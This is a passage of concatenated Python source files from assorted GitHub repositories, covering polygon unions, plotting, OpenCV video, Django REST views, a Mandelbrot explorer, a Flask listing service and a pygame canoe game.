polygon_intersect_and_unite(polygons):\n total = len(polygons)\n unions = []\n indeces = [ i for i in range(0, total-1) ]\n last_indeces_len = len(indeces)\n new_indeces_len = len(indeces)\n current_union = None\n\n while new_indeces_len > 1 :\n to_remove = []\n start_pos = 0\n if current_union is None:\n to_remove.append(0)\n current_union = Polygon(polygons[indeces[0]])\n start_pos = 1\n\n for j in range(start_pos, len(indeces)-1):\n p = Polygon(polygon[indeces[j]])\n if union.intersects(p):\n union = union.union(p)\n to_remove.append(j)\n\n for k in to_remove.sort(reverse=True):\n del to_remove[k]\n\n new_indeces_len = len(indeces)\n unions.append(union)\n\n\n\n# expects array of SIMPLE POLYGON rings (without wrapper GEOJSON hash and without HOLES)\ndef polygon_unions(polygons):\n union_batches = polygon_unions__helper(polygons, 100) # first batch size is 100\n while len(union_batches) > 1:\n union_batches = polygon_unions__helper(union_batches, 10) # next batch size is 10\n if len(union_batches) > 1:\n print ('hmmmmm the final union has multiple batches STILL')\n return union_batches[0]\n\n# expects array of SIMPLE POLYGON rings (without wrapper GEOJSON hash and without HOLES)\ndef polygon_unions__helper(polygons, batch_size):\n # print('batches of %s (length of array: %s)' % (batch_size, len(polygons)))\n union_batches = []\n union = None\n union_arr = []\n\n i = 0\n last_i = len(polygons) - 1\n start_time = time.time()\n for polygon in polygons:\n if i % batch_size == 0 and union or i == last_i:\n union_batches.append(union)\n union = None\n end_time = time.time()\n # print(i, end_time - start_time )\n start_time = end_time\n i = i + 1\n\n polygon_safe = Polygon(polygon) if (type(polygon) == list or type(polygon) == tuple) else polygon\n\n if union is None:\n union = polygon_safe\n else:\n union = union.union(polygon_safe)\n\n # print(i, end_time - start_time )\n # print('result array length %s ' % (len(union_batches)))\n return union_batches\n\n# returns array of SIMPLE POLYGON ring (without wrapper GEOJSON array and without HOLES)\ndef get_data_from_individual_xml_txt_files(input_dir):\n import glob\n polygons = []\n\n for file_name in glob.glob(f'{input_dir}/*.xml.txt'):\n bounds = {}\n file = open(file_name)\n for line in file:\n line=line.replace('\\n', '')\n line_pieces=line.split(':')\n if line_pieces[0] == 'date_start':\n date_start=line_pieces[1]\n elif line_pieces[0] == 'date_end':\n date_end=line_pieces[1]\n elif line_pieces[0] in ['south', 'north', 'east', 'west']:\n try:\n bounds[line_pieces[0]]=float(line_pieces[1])\n except Exception as e:\n print ('%s has error: %s' % (file_name, e))\n\n if 'east' not in bounds or 'west' not in bounds or 'south' not in bounds or 'north' not in bounds:\n continue\n\n if bounds['west'] > 0 and bounds['south'] < 0:\n tmp = bounds['south']\n bounds['south'] = bounds['west']\n bounds['west'] = tmp\n if bounds['east'] > 0 and bounds['north'] < 0:\n tmp = bounds['north']\n bounds['north'] = bounds['east']\n bounds['east'] = tmp\n file.close()\n\n polygons.append([\n [bounds['west'], bounds['north']],\n [bounds['east'], bounds['north']],\n [bounds['east'], bounds['south']],\n [bounds['west'], bounds['south']],\n [bounds['west'], bounds['north']]\n ])\n\n print(f'{len(polygons)} polygons')\n return polygons\n\n# assumes feature geometry is POLYGON and it IGNORE polygon HOLES\n# returns array of SIMPLE POLYGON ring (without wrapper GEOJSON array and without HOLES)\ndef get_data_from_geojson_file(file_path):\n file = open(file_path)\n obj = json.load(file)\n file.close()\n polygons = []\n for feature in obj['features']:\n polygons.append(feature['geometry']['coordinates'][0])\n print(f'{len(tiles)} polygons')\n return polygons\n\n\n\ndef test_polygon_union(polygons):\n polygon1 = Polygon(\n [\n [-122.6, 37.6],\n [-122.6, 37.5],\n [-122.5, 37.5],\n [-122.5, 37.6],\n [-122.6, 37.6]\n ],\n holes=[]\n )\n polygon2 = Polygon(\n [\n [-122.44, 37.95],\n [-122.44, 37.85],\n [-122.38, 37.85],\n [-122.38, 37.95],\n [-122.44, 37.95]\n ],\n holes=[]\n )\n\n union = polygon1.union(polygon2)\n union_geojson_obj = { \"type\": \"FeatureCollection\", \"features\": [\n {'properties': {'type':'poly'}, 'geometry': mapping(polygon1)},\n {'properties': {'type':'poly'}, 'geometry': mapping(polygon2)},\n {'properties': {'type':'union'}, 'geometry': mapping(union)}\n ]}\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print('need an input')\n sys.exit()\n\n # files = get_data_from_geojson_file(sys.argv[1])\n start_time = time.time()\n polygons = get_data_from_individual_xml_txt_files(sys.argv[1])\n union = polygon_unions(polygons)\n\n union = polygon_unions([ polygon[0] for polygon in mapping(union)['coordinates'] ])\n f = open('test.json', 'w')\n f.write(json.dumps( {'type': 'FeatureCollection', 'features': [ {'properties': {}, 'geometry': mapping(union)} ]} ))\n f.close()\n end_time = time.time()\n\n print(f'{end_time - start_time} seconds')\n","repo_name":"hyphae-lab/lai-algorithm-training-scraper","sub_path":"usgs-scraper/tests/polygon-union-recursive.py","file_name":"polygon-union-recursive.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10807974697","text":"# Imports\nimport argparse\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nimport pickle\nimport seaborn as sb\nimport scipy\nimport sys\nsys.path.append('../src')\n\n\n# Parsing task\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-t\", \"--task\", type=int, choices=[0, 1, 777], help = '0 approximation, 1 runtime, 777 test task.', default=1)\nparser.add_argument(\"-c\", \"--constraint\", type=int, choices=[0, 1], help = '0 trace, 1 degree.', default=1)\nparser.add_argument(\"-x\", \"--n_cols\", type=int, help = 'Number of columns in subplots.', default=1)\nparser.add_argument(\"-s\", \"--scale\", type=bool, help = 'Scale the axes properly.', default=True)\nargs = vars(parser.parse_args())\n\n# Folders\nfigure_path = Path(\"../draft/figures/\")\nconstraint = \"trace\" if args['constraint'] == 0 else \"degree\"\ntask = 'approximation' if args['task'] == 0 else 'runtime'\nfolder_path = Path(\"../datasets/experiments\") / Path(f\"{task}_task__{constraint}_constraint\")\nwith open(folder_path / Path(\"folder_names.txt\"), \"r\") as file:\n folders = [line.split(\"| \")[1][:-1] for line in file]\nwith open(folder_path / Path(\"folder_names.txt\"), \"r\") as file:\n folders_real_names = [line.split(\"| \")[0] for line in file]\n\n# Color settings\nmethod2color = {}\nmethod2color[\"simple_GD\"] = 'silver'\nmethod2color[\"ADAM\"] = 'blue'\nmethod2color[\"AdaGrad\"] = 'limegreen'\n\n\n# Figures\nn_rows, n_cols, scale = (1, 1, args['scale']) #args['n_cols']\nfig, axs = plt.subplots(n_rows, n_cols, figsize=(6, 3.5))\n\n##############################################################################\n# 1. Simulation folders loop\nsimulation2data = {\" \": [], \"Number of nodes\": [], \"Number of edges\": [], \"Simulation\": [], \"Running time (sec)\": []}\nfor i, simulation_folder in enumerate(folders):\n print(folders_real_names[i])\n sample_idx = folders_real_names[i].split(\"__\")[-1]\n \n # 2.1 generative params\n with open(folder_path / simulation_folder / Path(\"generative_parameters.pkl\"), \"rb\") as file:\n params = pickle.load(file)\n \n # 2.2 setting name\n if params['net_model'] == 'erdos':\n t = f\"{params['net_model']} p={params['p']}\\n\"\n elif params['net_model'] == 'bara':\n t = f\"{params['net_model']} m={params['m']}\\n\"\n else:\n t = f\"{params['net_model']}\\n\"\n t += (f\"{params['opinion_model']} opinions pol={params['initial_pol']}\\n\")\n #f\"budget={int(params['budget']*100)}% constraint={params['type_of_constraint']}\")\n \n \n \n # 2.3 initial opinions\n s = np.load(folder_path / simulation_folder / Path(\"internal_opinions_sample00_python.npy\"))\n G = nx.read_gexf(folder_path / simulation_folder / Path(\"graph_sample00_python.gexf\"))\n \n # 3. Model loop\n with open(folder_path / simulation_folder / Path(\"experiments_data_method.pkl\"), \"rb\") as file:\n experiments_data = pickle.load(file)\n\n # 1. Opt value\n \n for method_idx, data in experiments_data.items():\n # 2.4 Experimental data\n data = experiments_data[method_idx]\n # 3.1 name for each method\n if data['method_config']['name'] != 'SCS':\n name = data['method_config']['params']['routine'] \n name = \"LcGD\" #name if name != \"simple_GD\" else \"LcGD\"\n #name += ' ' + str(data[\"method_config\"][\"params\"]['lr_params'])\n\n elif not isinstance(data['IpL'], int):\n name = data['method_config']['name']\n \n # 3.2 y values for each method\n if not isinstance(data['IpL'], int):\n runtime = data['runtime']\n numb_nodes = params['numb_nodes']\n \n \n simulation2data[\" \"].append(name)\n simulation2data[\"Number of nodes\"].append(numb_nodes)\n simulation2data[\"Number of edges\"].append(G.number_of_edges())\n simulation2data[\"Simulation\"].append(sample_idx)\n simulation2data[\"Running time (sec)\"].append(runtime)\n \n \npd.DataFrame(simulation2data).to_csv(\"../datasets/runtime.csv\") \n##############################################################################\n#sb.scatterplot(data=simulation2data, x=\"Number of edges\", y=\"Running time (sec)\", \n# ax=axs, hue=\" \",)# markers=\" \", errorbar=(\"ci\", 100),)\nsb.lineplot(data=simulation2data, x=\"Number of edges\", y=\"Running time (sec)\", \n ax=axs, hue=\" \", markers=\" \", errorbar=(\"ci\", 100),)\nif scale:\n axs.set_xscale(\"log\")\n #axs.set_yscale(\"log\")\naxs.grid(alpha=.5)\n\nsb.despine()\nplt.subplots_adjust(left=0.1, bottom=0.1, right=0.9, top=0.9, wspace=0.2, hspace=.65)\n\nplt.savefig(figure_path / Path('runtime.pdf'), bbox_inches='tight')","repo_name":"FedericoCinus/rebalancing-social-feed","sub_path":"scripts/2.2-Plots-runtime.py","file_name":"2.2-Plots-runtime.py","file_ext":"py","file_size_in_byte":4685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24884222835","text":"import cv2\nimport imutils\n\n\ndef play(path):\n cap = cv2.VideoCapture(path)\n while cap.isOpened():\n ret, frame = cap.read()\n if ret:\n frame = imutils.resize(frame, width=600)\n cv2.imwrite('Pic.jpg', frame)\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + open('pic.jpg', 'rb').read() + b'\\r\\n')\n if cv2.waitKey(50) & 0xFF == ord('q'):\n break\n cap.release()\n cv2.destroyAllWindows()\n","repo_name":"PanKnst/Emotion-Detection","sub_path":"webpage/playVideo.py","file_name":"playVideo.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9137847846","text":"#Read image rescale function and show\n\nimport cv2\n\nimg = cv2.imread(\"Resources/lena.png\")\n\n\ndef rescaleFrame(image, scale=2):\n width = int(image.shape[1] * scale)\n height = int(image.shape[0] * scale)\n dimensions = (width, height)\n return cv2.resize(image,dimensions,interpolation=cv2.INTER_AREA)\n\n\nresized = rescaleFrame(img)\ncv2.imshow(\"OutputWindow\", resized)\n\ncv2.waitKey(0)\n","repo_name":"jonnytracker/Opencv-python-examples","sub_path":"Opencv-python.py","file_name":"Opencv-python.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70935614544","text":"\"\"\"\nWrite a function that merges integer from sorted files and returns an iterator\n\nfile1.txt:\n1\n3\n5\n\nfile2.txt:\n2\n4\n6\n\n>>> list(merge_sorted_files([\"file1.txt\", \"file2.txt\"]))\n[1, 2, 3, 4, 5, 6]\n\"\"\"\nfrom pathlib import Path\nfrom typing import List, Union, Iterator, Tuple, Optional\nfrom contextlib import ExitStack\n\n\ndef merge_sorted_files(file_list: List[Union[Path, str]]) -> Iterator:\n with ExitStack() as stack:\n files = [stack.enter_context(open(fname)) for fname in file_list]\n buffer = []\n for index, file in enumerate(files):\n file_is_not_empty, value = value_from_file(file)\n if file_is_not_empty:\n pase(buffer, index, value)\n\n if buffer == []:\n return StopIteration\n\n while True:\n output = buffer.pop()\n yield output[1]\n file_is_not_empty, value = value_from_file(files[output[0]])\n if file_is_not_empty:\n pase(buffer, output[0], value)\n elif buffer == []:\n return StopIteration\n\n\ndef value_from_file(file: \"_io.TextIOWrapper\") -> Tuple[bool, Optional[int]]:\n try:\n value = int(file.readline())\n return True, value\n except ValueError:\n return False, None\n\n\ndef pase(buffer, index, value) -> None:\n\n if buffer == [] or value <= buffer[-1][1]:\n return buffer.append([index, value])\n\n if value > buffer[0][1]:\n return buffer.insert(0, [index, value])\n\n for locat_index, item in enumerate(buffer):\n if item[1] >= value:\n continue\n return buffer.insert(locat_index, [index, value])\n\n\nif __name__ == \"__main__\":\n ...\n","repo_name":"Amudah41/EPAM_homeworks","sub_path":"hw9/tasks/task91.py","file_name":"task91.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70598058064","text":"from rest_framework.views import Response, Request\nfrom nms_server.dao.redis.api import *\nfrom nms_server.dao.redis.domain import get_domain_list,get_domain_list_by_Leaf\nfrom nms_server.dao.redis.device import get_physical_server_info\nfrom nms_server.dao.api import *\nfrom nms_server.utils.error_code import *\nfrom nms_server.utils.date_conversion import *\nfrom rest_framework.views import APIView\nfrom nms_server.settings import VERSION,API_LEVEL\n\nfrom django.shortcuts import render\n\n# Create your views here.\nimport logging\nlogger = logging.getLogger(\"nms.\" + __name__)\n\n# Create your views here.\n\nclass Version(APIView):\n def get(self, request, *args, **kwargs):\n\n ret_data = {\n 'success':1,\n 'version':VERSION,\n 'api_level':API_LEVEL\n }\n return Response(ret_data)\n\ndef get_user_info(sso_user):\n user_domain_moid = sso_user['data'].get('userDomainMoid', None)\n server_domain_moid = sso_user['data'].get('serviceDomainMoid', None)\n service_domain_admin = sso_user['data'].get('serviceDomainAdmin', False)\n default_service_domain_admin = sso_user['data'].get('defaultServiceDomainAdmin', False)\n \n if service_domain_admin or default_service_domain_admin or user_domain_moid is None:\n return {\n 'user_type':'service',\n 'domain_moid':server_domain_moid\n }\n \n else:\n return {\n 'user_type':'user',\n 'domain_moid':user_domain_moid\n }\n\nclass Domains(APIView):\n def get(self, request, *args, **kwargs):\n user_info = get_user_info(request.sso_user)\n logger.info('user_type:%s,domain_moid:%s',user_info['user_type'],user_info['domain_moid'])\n \n ret_data = {'success': 1}\n\n if user_info['user_type'] == 'user':\n # 用户域账户,获取本身、绑定机房、机房所属平台和所属服务域信息\n machine_room_moid = get_domain_info_field(user_info['domain_moid'],'machine_room_moid')\n \n domain_info = get_domain_info(user_info['domain_moid'])\n\n if machine_room_moid and domain_info:\n ret_data['domains'] = get_domain_list_by_Leaf(machine_room_moid,'')\n \n ret_data['domains'].append(domain_info)\n else:\n ret_data['sucess'] = 0\n ret_data['error_code'] = INPUT_ERROR\n\n else: \n ret_data['domains'] = get_domain_list(user_info['domain_moid'])\n\n return Response(ret_data)\n\n# 物理服务器列表\nclass Physicals(APIView):\n def get(self, request, domain_moid, **kwargs):\n logger.info(\"domain_moid:%s\" % domain_moid)\n if domain_moid:\n ret_data = get_physical_server_list(domain_moid)\n return Response(ret_data)\n else:\n ret_data = {'success':0,'error_code':INPUT_ERROR}\n logger.info(\"ret_data:%s\", ret_data)\n return Response(ret_data)\n\nclass Logicals(APIView):\n def get(self, request, domain_moid, **kwargs):\n logger.info(\"domain_moid:%s\" % domain_moid)\n if domain_moid:\n ret_data = get_logic_server_list(domain_moid)\n return Response(ret_data)\n else:\n ret_data = {'success':0,'error_code':INPUT_ERROR}\n logger.info(\"ret_data:%s\", ret_data)\n return Response(ret_data)\n\nclass Terminals(APIView):\n def get(self, request, domain_moid, **kwargs):\n start = request.GET.get('start', 0)\n count = request.GET.get('count', 10)\n logger.info(\"domain_moid:%s,start:%s,count:%s\" ,domain_moid,start,count)\n\n ret_data = get_terminal_list(domain_moid,start,count)\n return Response(ret_data)\n\nclass LogicalsByPhysical(APIView):\n def get(self, request, p_server_moid, **kwargs):\n logger.info(\"p_server_moid:%s\" ,p_server_moid)\n ret_data = get_physical_logic_server(p_server_moid)\n return Response(ret_data)\n\nclass PhysicalDetail(APIView):\n def get(self, request, p_server_moid, **kwargs):\n logger.info(\"p_server_moid:%s\" ,p_server_moid)\n ret_data = get_physical_server_detail(p_server_moid)\n return Response(ret_data)\n\nclass OldTerminals(APIView):\n def get(self, request, *args, **kwargs):\n ret_data = get_old_terminals_api()\n return Response(ret_data)\n\nclass OldTerminalDetail(APIView):\n def get(self, request, terminal_ip, **kwargs):\n ret_data = get_old_terminal_detail(terminal_ip)\n return Response(ret_data)\n\nclass TerminalOnlineStatistic(APIView):\n def get(self, request, domain_moid, **kwargs):\n start = int(request.GET.get('start', 0))\n count = int(request.GET.get('count', 10))\n period = period_transform(request.GET.get('period', False))\n start_time = iso_time_format(request.GET.get('start_time', False))\n end_time = iso_time_format(request.GET.get('end_time', False))\n logger.info(\"domain_moid:%s,start:%d, count: %d, period:%s, start_time:%s,end_time:%s\" ,domain_moid,start,count,period,start_time, end_time)\n\n if period or ( start_time and end_time):\n ret_data = get_terminal_online_statistic(domain_moid, start, count, period, start_time, end_time)\n return Response(ret_data)\n else:\n ret_data = {'success':0,'error_code':INPUT_ERROR}\n logger.error(\"ret_data:%s\", ret_data)\n return Response(ret_data)\n\nclass Meetings(APIView):\n def get(self, request, domain_moid, **kwargs):\n ret_data = get_meeting_info_list(domain_moid)\n return Response(ret_data)\n\nclass MeetingTerminalDetail(APIView):\n def get(self, request, conf_e164, **kwargs):\n ret_data = get_meeting_terminal_detail(conf_e164)\n return Response(ret_data) \n\nclass DomainMediaResource(APIView):\n def get(self, request, domain_moid, **kwargs):\n ret_data = get_domain_media_resource_api(domain_moid)\n return Response(ret_data) \n\nclass ServerMediaResource(APIView):\n def get(self, request, l_server_moid, **kwargs):\n ret_data = get_server_media_resource_api(l_server_moid)\n return Response(ret_data) \n\nclass ServerWarningUnrepaired(APIView):\n def get(self, request, server_moid, **kwargs):\n ret_data = get_server_unrepaired_warning(server_moid)\n return Response(ret_data) \n\nclass TerminalWarningUnrepaired(APIView):\n def get(self, request, terminal_moid, **kwargs):\n ret_data = get_terminal_unrepaired_warning(terminal_moid)\n return Response(ret_data) ","repo_name":"cuishao23/nms","sub_path":"nms_server/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"4262090887","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LinearSegmentedColormap\nfrom ipywidgets import interact, FloatSlider, IntSlider, Dropdown, IntProgress\nfrom IPython.display import display\nimport time\n\ndef mandelbrot(c, max_iter):\n \"\"\"\n Compute the escape time for a given point c in the complex plane.\n \"\"\"\n z = c\n for n in range(max_iter):\n if abs(z) > 2:\n return n - np.log(np.log2(abs(z)))\n z = z * z + c\n return max_iter\n\n\ndef draw_mandelbrot(xmin, xmax, ymin, ymax, width, height, max_iter, progress, color):\n \"\"\"\n Draw the Mandelbrot set within the specified range and resolution.\n \"\"\"\n # Generate arrays of x and y values\n r1 = np.linspace(xmin, xmax, width)\n r2 = np.linspace(ymin, ymax, height)\n result = np.zeros((height, width))\n\n for i in range(len(r2)):\n for j in range(len(r1)):\n # Compute the escape time for each point\n result[i, j] = mandelbrot(complex(r1[j], r2[i]), max_iter)\n progress.value += 1\n time.sleep(0.01)\n\n return r1, r2, result\n\n\ndef create_picture(xmin=-2.0, xmax=1.0, ymin=-1.5, ymax=1.5, width=1000, height=1000, max_iter=256, color1=\"black\", color2=\"blue\", color3=\"lightblue\", color4=\"white\", color5=\"red\", color=\"green\"):\n \"\"\"\n Create and display the Mandelbrot set picture with interactive widgets.\n \"\"\"\n # Create a colormap from the specified colors\n colors = [color1, color2, color3, color4, color5, color]\n cmap = LinearSegmentedColormap.from_list(\"mycmap\", colors)\n\n # Create a progress bar widget\n progress = IntProgress(min=0, max=height, value=0, description=\"Rendering:\")\n display(progress)\n\n # Draw the Mandelbrot set\n d = draw_mandelbrot(xmin, xmax, ymin, ymax, width, height, max_iter, progress, color)\n \n # Display the image\n img = plt.imshow(d[2], extent=(xmin, xmax, ymin, ymax), cmap=cmap, interpolation='bilinear')\n img.set_clim(0, max_iter)\n plt.title('Mandelbrot Set')\n plt.axis('off')\n plt.show()\n\n\n# Define the available color options\ncolor_options = [\"black\", \"blue\", \"lightblue\", \"white\", \"red\", \"green\", \"yellow\", \"orange\", \"purple\", \"pink\", \"gray\"]\n\n# Create the interactive widget using the interact function\ninteract(create_picture,\n xmin=FloatSlider(min=-2.5, max=1.5, step=0.1, value=-2.0),\n xmax=FloatSlider(min=-2.5, max=1.5, step=0.1, value=1.0),\n ymin=FloatSlider(min=-2.5, max=1.5, step=0.1, value=-1.5),\n ymax=FloatSlider(min=-2.5, max=1.5, step=0.1, value=1.5),\n width=IntSlider(min=100, max=2000, step=100, value=1000),\n height=IntSlider(min=100, max=2000, step=100, value=1000),\n max_iter=IntSlider(min=50, max=1000, step=50, value=256),\n color1=Dropdown(options=color_options, value=\"black\"),\n color2=Dropdown(options=color_options, value=\"blue\"),\n color3=Dropdown(options=color_options, value=\"lightblue\"),\n color4=Dropdown(options=color_options, value=\"white\"),\n color5=Dropdown(options=color_options, value=\"red\"),\n color=Dropdown(options=color_options, value=\"green\"))\n","repo_name":"secnnet/Mandelbrot-Explorer","sub_path":"Mandelbrot Explorer.py","file_name":"Mandelbrot Explorer.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12015746891","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\n\nimport os, sys\n\nimport requests\nfrom invokes import invoke_http\n\nimport json\nfrom types import SimpleNamespace\n\nimport amqp_setup\nimport pika\nimport json\n\napp = Flask(__name__)\nCORS(app)\n\nprofile_URL = \"http://localhost:5000/profile/\" # requires /:id\ncreate_item_URL = \"http://localhost:5001/createitem\"\nitem_URL = \"http://localhost:5000/items/\" # requires :item_id\n\n@app.route(\"/create_listing\", methods=['POST'])\ndef create_listing():\n # Check if input format and data of the request are in JSON format\n if request.is_json:\n try:\n listing = request.get_json()\n print(\"\\nReceived a valid request in JSON:\", listing)\n\n # 1. Send the item information and profile ID - {item}, {user_id}\n result = processCreateListing(listing)\n print('\\n------------------------')\n print('\\nresult: ', result)\n return jsonify(result), result[\"code\"]\n\n except Exception as e:\n # Unexpected error in code\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n ex_str = str(e) + \" at \" + str(exc_type) + \": \" + fname + \": line \" + str(exc_tb.tb_lineno)\n print(ex_str)\n\n return jsonify({\n \"code\": 500,\n \"message\": \"create_listing.py internal error: \" + ex_str\n }), 500\n\n # if reached here, not a JSON request.\n return jsonify({\n \"code\": 400,\n \"message\": \"Invalid JSON input: \" + str(request.get_data())\n }), 400\n\ndef processCreateListing(listing):\n\n# invoke profile microservice to create a book\n\n#stringify JSON request\n # listing_details = json.load(listing_json, object_hook=lambda d: SimpleNamespace(**d))\n # id = listing_details.user_id\n # print (id)\n id = listing['user_id']\n\n\n profile_details = invoke_http(\n profile_URL + id, method='GET', \n )\n\n # to remove\n print( \"----- invoking profile microservice to get profile details -----\" )\n # print (profile_details)\n\n # profile_details = json.loads(listing, object_hook=lambda d: SimpleNamespace(**d))\n\n return {\n \"code\": 201,\n \"data\": {\n \"result\": profile_details,\n }\n }\n\n\n # HTTP Version (Old)\n # print('\\n\\n-----Invoking error microservice as offer fails-----')\n # invoke_http(error_URL, method=\"POST\", json=offer_result)\n # # result from the invocation is not used\n # # continue even if this invocation fails\n # print(\"Offer status ({:d}) sent to the error microservice:\".format(code), offer) #tbc\n\n # HTTP below\n # print('\\n\\n-----Invoking notification microservice-----')\n # invoke_http(notification_URL, method=\"POST\", json=offer_result)\n # print(\"\\nOffer sent to notification microservice.\\n\")\n # if code not in range(200, 300):\n # # Inform the error microservice (AMQP routing_key = 'error.*' )\n # print('\\n\\n-----Invoking error microservice as offer fails-----')\n # invoke_http(error_URL, method=\"POST\", json=offer_result)\n # # result from the invocation is not used\n # # continue even if this invocation fails\n\n # profile_details = json.loads(listing, object_hook=lambda d: SimpleNamespace(**d))\n\n\n \n # @app.route('/')\n # def healthcheck():\n # return 'Accept Offer is up and running!';\n\n #wt: tHE following is used for testing \n\n # @app.route('/test')\n # def test():\n # one_notif = {\n # \"Notification_ID\": 12345,\n # \"Seller_ID\": \"1\",\n # \"Buyer_ID\": \"1\",\n # \"Status\": \"1\",\n # \"Message\": \"I am ok\",\n # \"DateTimeSQL\": 12345\n # }\n # amqp_setup.channel.basic_publish(exchange=amqp_setup.exchangename, routing_key=\"order.error\", \n # body=one_notif, properties=pika.BasicProperties(delivery_mode = 2)) \n\n\n \"\"\"A simple wrapper for requests methods.\n url: the url of the http service;\n method: the http method;\n data: the JSON input when needed by the http method;\n return: the JSON reply content from the http service if the call succeeds;\n otherwise, return a JSON object with a \"code\" name-value pair.\n \"\"\"\n\nif __name__ == \"__main__\":\n print(\"This is flask \" + os.path.basename(__file__) + \" for placing an offer...\")\n app.run(host=\"0.0.0.0\", port=5100, debug=True) \n # - debug=True will reload the program automatically if a change is detected;\n # -- it in fact starts two instances of the same flask program,\n # and uses one of the instances to monitor the program changes;\n # - host=\"0.0.0.0\" allows the flask program to accept requests sent from any IP/host (in addition to localhost),\n # -- i.e., it gives permissions to hosts with any IP to access the flask program,\n # -- as long as the hosts can already reach the machine running the flask program along the network;\n # -- it doesn't mean to use http://0.0.0.0 to access the flask program.\n","repo_name":"jiepengwong/ESDT4","sub_path":"complex/tests/test_invoke_complex.py","file_name":"test_invoke_complex.py","file_ext":"py","file_size_in_byte":5130,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"6960400444","text":"\"\"\"\n Projet Fit & Fun\n Autonabee\n\n Fabrikarium 2022 à Rennes\n code: Gweltaz Duval-Guennoc, Les Portes Logiques, Quimper\n contact: gweltou@hotmail.com\n\"\"\"\n\n\nimport pygame as pg\nimport random\nimport os\nfrom console import Console\n\n\n\nclass Player():\n SPRITES_PATH = [\"canoe_1.png\", \"canoe_2.png\"]\n ROWING_ANIM_SPEED_MAX = 0.2 # Don't go above 1.0 !\n HIT_BLINK_DURATION = 3.0 # Blinking period duration after being hit (in seconds)\n \n\n def __init__(self, screen):\n self.screen = screen\n self.sprites = [pg.image.load(os.path.join(Console.dir_img, filename)) for filename in self.SPRITES_PATH]\n self.width = self.sprites[0].get_width()\n self.height = self.sprites[0].get_height()\n self.pos_x = (self.screen.get_width() - self.width) * 0.5\n self.pos_y = 0\n self.hitbox = pg.Rect(self.pos_x + 55, self.pos_y + 8, self.width - 110, self.height - 20)\n self.sprite_idx = 0\n self.anim_counter = 0.0\n self.hit_cooldown = 0.0\n self.cooldown_counter = 0.0\n self.speed = 0.0 # Speed should be a normalized value between 0 and 1\n\n \n def update(self, delta):\n \"\"\" Update the state of the element\n should be called every frame\n\n Parameters\n ----------\n delta: float\n elapsed time since last frame (in milliseconds)\n \"\"\"\n\n assert 0 <= self.speed <= 1, \"speed value is outside [0,1] range\"\n\n screen_height = self.screen.get_height()\n self.pos_y = screen_height - self.height \\\n - self.speed * (screen_height - self.height)\n self.pos_y = 0.9 * self.pos_y + 0.05 * screen_height # Up and bottom margin\n self.hitbox.x = self.pos_x + 55\n self.hitbox.y = self.pos_y + 10\n \n if self.hit_cooldown > 0:\n self.hit_cooldown -= delta\n \n # Rowing animation speed depends of player speed\n self.anim_counter += self.ROWING_ANIM_SPEED_MAX * self.speed\n if self.anim_counter >= 1:\n self.anim_counter = 0\n self.sprite_idx = (self.sprite_idx + 1) % 2\n \n\n def draw(self):\n if self.hit_cooldown > 0:\n # Blink for a while after being hit\n self.cooldown_counter += 1\n if (self.cooldown_counter // 4) % 2 == 0:\n self.screen.blit(self.sprites[self.sprite_idx], (self.pos_x, self.pos_y))\n else:\n self.screen.blit(self.sprites[self.sprite_idx], (self.pos_x, self.pos_y))\n # Hitbox debug drawing\n #pg.draw.rect(self.screen, (0, 255,0), self.hitbox)\n \n\n def hit(self):\n \"\"\" returns True if the hit was effective, False otherwise \"\"\"\n if self.hit_cooldown <= 0:\n self.hit_cooldown = self.HIT_BLINK_DURATION * 1000\n return True\n return False\n\n\n\nclass LandscapeProp():\n \"\"\" Landscape element\n Simply decorative, they doesn't interact with the player\n \"\"\"\n \n def __init__(self, screen):\n self.screen = screen\n self.alive = False\n self.layer = 0\n \n\n def spawn(self, sprite, layer=0):\n \"\"\" Spawn a new landscape element\n\n Parameters\n ----------\n sprite: pygame.Surface\n layer: int\n drawing layer (higher numbers will be drawn on top)\n \"\"\"\n self.alive = True\n self.layer = layer # Drawing layer, higher numbers will be drawn on top of lower numbers\n self.sprite = sprite\n self.width = self.sprite.get_width()\n self.height = self.sprite.get_height()\n if random.random() < 0.5:\n # Spawn left of the river\n self.pos_x = 40 + random.randint(-50, 50)\n else:\n # Or spawn right of the river\n self.pos_x = self.screen.get_width() - 40 + random.randint(-50, 50)\n self.pos_y = -self.height * 0.5\n \n\n def update(self, delta, scroll_speed):\n \"\"\" Update the state of the element\n should be called every frame\n\n Parameters\n ----------\n delta: float\n elapsed time since last frame (in milliseconds)\n scroll_speed: float\n scrolling speed\n \"\"\"\n \n if not self.alive:\n return\n \n self.pos_y += delta * scroll_speed\n if self.pos_y < -self.height or self.pos_y > self.screen.get_height() + self.height:\n self.alive = False\n \n \n def draw(self):\n if self.alive:\n self.screen.blit(self.sprite, (self.pos_x - self.width/2, self.pos_y - self.height/2))\n \n\n\nclass Obstacle():\n \"\"\" An obstacle coming from the left or the right\n Can collide with the player\n \"\"\"\n\n COLLISION_MARGIN = 2\n \n\n def __init__(self, screen):\n self.screen = screen\n self.alive = False\n \n \n def spawn(self, 